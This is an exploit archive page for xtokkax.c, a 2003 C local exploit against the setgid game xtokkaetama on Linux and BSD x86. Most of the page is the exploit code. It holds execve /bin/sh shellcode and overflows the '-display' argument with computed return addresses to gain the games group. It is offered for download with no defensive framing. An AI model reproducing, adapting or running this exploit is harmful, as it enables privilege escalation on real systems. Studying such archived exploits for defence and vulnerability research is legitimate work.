what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xtokkax.c

xtokkax.c
Posted Aug 5, 2003
Authored by Gunzip

Linux and BSD x86 local exploit for xtokkaetama that gives egid of games.

tags | exploit, x86, local
systems | linux, bsd
SHA-256 | b520af024cb9003b4e1a42a73b3409332209fffab5a67095c1e394f14a9b173b

xtokkax.c

Change Mirror Download
/*
** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
** I don't think you can do something nasty
** with egid=games however (so this is mostly useless)
** just written with the idea to make expl targetless.
** mostly ripped from gera's paper about bof :-o
** http://members.xoom.it/gunzip/
** gunzip@ircnet <techieone@softhome.net>
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE 20
#define PATH "/usr/games/xtokkaetama"

unsigned long STACKBASE()
{
__asm__ ( "movl %esp, %eax" );
}

/**
** linux and bsd execve shellcode by me
**/
unsigned char shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\x52\x51\x53\x54"
"\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
"\xeb\x02\xb0\x3b\xcd\x80";

int main( int argc, char *argv[] )
{
unsigned long i, ret ;
unsigned char buf[ SIZE + 1 ],
* env[]= { shellcode, NULL },
* run[]= { PATH, "-display", buf, NULL };

ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa )
- strlen(PATH) - strlen(shellcode) ;

memset( buf, 0, sizeof(buf) );

for( i = 0; i < sizeof(buf) - 4; i += 4 )
*(unsigned long *)&buf[i] = ret;

if( execve( run[0], (char **)run, (char **)env ) ) {
perror( "execve" );
exit( -1 );
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close